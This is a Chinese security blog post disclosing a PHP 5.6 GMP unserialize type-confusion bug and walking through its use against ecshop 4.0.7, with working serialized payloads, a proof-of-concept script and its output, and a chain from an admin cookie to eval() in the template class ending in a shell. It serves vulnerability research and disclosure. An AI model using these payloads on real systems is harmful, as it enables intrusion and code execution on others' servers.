LoRexxar's Blog

从反序列化到类型混淆漏洞 -- 记一次ecshop实例利用

字数统计: 2.5k阅读时长: 11 min
2020/07/08 Share

本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。


前几天偶然看到了一篇在hackone上提交得漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。

https://hackerone.com/reports/198734

以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助.

GMP类型混淆漏洞

漏洞利用条件

  • php 5.6.x
  • 反序列化入口点
  • 可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)

漏洞详情

gmp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}

if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}

zend_object_handlers.c

1
2
3
4
5
6
7
8
9
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}

从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。

__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。

或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。

首先我们来看一段测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class obj
{
var $ryat;

function __wakeup()
{
$this->ryat = 1;
}
}

class b{
var $ryat =1;
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$obj2 = new b;

$obj3 = new stdClass;
$obj3->aa =2;


$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);

$obj4 = new stdClass;

var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);

?>

在代码中我展示了多种不同情况下的环境。

让我们来看看结果是什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
array(1) {
[0]=>
&int(1)
}
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(1)
}
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}

我成功修改了第一个声明的对象。

但如果我将反序列化的类改成b会发生什么呢?

1
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很显然的是,并不会影响到其他的类变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}

如果我们给class b加一个__Wakeup函数,那么又会产生一样的效果。

但如果我们把wakeup魔术方法中的变量设置为2

1
2
3
4
5
6
7
8
9
10

class obj
{
var $ryat;

function __wakeup()
{
$this->ryat = 2;
}
}

返回的结果可以看出来,我们成功修改了第二个声明的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(1) {
[0]=>
&int(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}

但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。

在完成前面的试验后,我们可以把漏洞的利用条件简化一下。

如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的__wakeup魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。

如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。

1
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

真实世界案例

在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。

漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。

https://hackerone.com/reports/198734

这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。

漏洞环境

  • ecshop 4.0.7
  • php 5.6.9

反序列化漏洞

首先我们需要找到一个反序列化入口点,这里我们可以全局搜索unserialize,挨个看一下我们可以找到两个可控的反序列化入口。

其中一个是search.php line 45

1
2
3
4
5
6
7
8
9
...
{
$string = base64_decode(trim($_GET['encode']));

if ($string !== false)
{
$string = unserialize($string);
if ($string !== false)
...

这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。

还有一个是admin/order.php line 229

1
2
3
4
5
6
/* 取得上一个、下一个订单号 */
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

...

后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。

这样一来我们就找到了一个可控并且合适的反序列化入口点。

寻找合适的类属性利用链

在寻找利用链之前,我们可以用

1
get_declared_classes()

来确定在反序列化时,已经声明定义过的类。

在我本地环境下,除了PHP内置类以外我一共找到13个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[129]=>
string(3) "ECS"
[130]=>
string(9) "ecs_error"
[131]=>
string(8) "exchange"
[132]=>
string(9) "cls_mysql"
[133]=>
string(11) "cls_session"
[134]=>
string(12) "cls_template"
[135]=>
string(11) "certificate"
[136]=>
string(6) "oauth2"
[137]=>
string(15) "oauth2_response"
[138]=>
string(14) "oauth2_request"
[139]=>
string(9) "transport"
[140]=>
string(6) "matrix"
[141]=>
string(16) "leancloud_client"

从代码中也可以看到在文件头引入了多个库文件

1
2
3
4
5
6
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');

这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。

在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明

1
2
require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;

回到order.php中我们寻找与$smarty相关的方法,不难发现,主要集中在两个方法中

1
2
3
4
5
...
$smarty->assign('shipping', $shipping);

$smarty->display('print.htm');
...

而这里我们主要把视角集中在display方法上。

粗略的浏览下display方法的逻辑大致是

1
2
3
4
5
请求相应的模板文件
-->
经过一系列判断,将相应的模板文件做相应的编译
-->
输出编译后的文件地址

比较重要的代码会在make_compiled这个函数中被定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';

...

if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));

if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}

$source = $this->_eval($source);
}

return $source;
}

当流程走到这一步的时候,我们需要先找到我们的目标是什么?

重新审视cls_template.php的代码,我们可以发现涉及到代码执行的只有几个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
{
$pa = $this->str_trim($val);
foreach ($pa AS $value)
{
if (strrpos($value, '='))
{
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '', $value));
if ($b{0} == '$')
{
if ($type)
{
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
}
else
{
$para[$a] = $this->get_val(substr($b, 1));
}
}
else
{
$para[$a] = $b;
}
}
}

return $para;
}

get_para只在select中调用,但是没找到能触发select的地方。

然后是pop_vars

1
2
3
4
5
6
7
8
9
10
function pop_vars()
{
$key = array_pop($this->_temp_key);
$val = array_pop($this->_temp_val);

if (!empty($key))
{
eval($key);
}
}

恰好配合GMP我们可以控制$this->_temp_key变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。

在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码

order_info.htm.php

1
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>

在遍历完表单之后,正好会触发pop_vars

这样一来,只要我们控制覆盖cls_template变量的_temp_key属性,我们就可以完成一次getshell

最终利用效果

image.png-85.6kB

Timeline

  • 2020.03.31 发现漏洞.
  • 2020.03.31 将漏洞报送厂商、CVE、CNVD等.
  • 2020.07.08 符合90天漏洞披露期,公开细节
CATALOG
  1. 1. GMP类型混淆漏洞
    1. 1.1. 漏洞利用条件
    2. 1.2. 漏洞详情
  2. 2. 真实世界案例
    1. 2.1. 漏洞环境
    2. 2.2. 反序列化漏洞
    3. 2.3. 寻找合适的类属性利用链
    4. 2.4. 最终利用效果
  3. 3. Timeline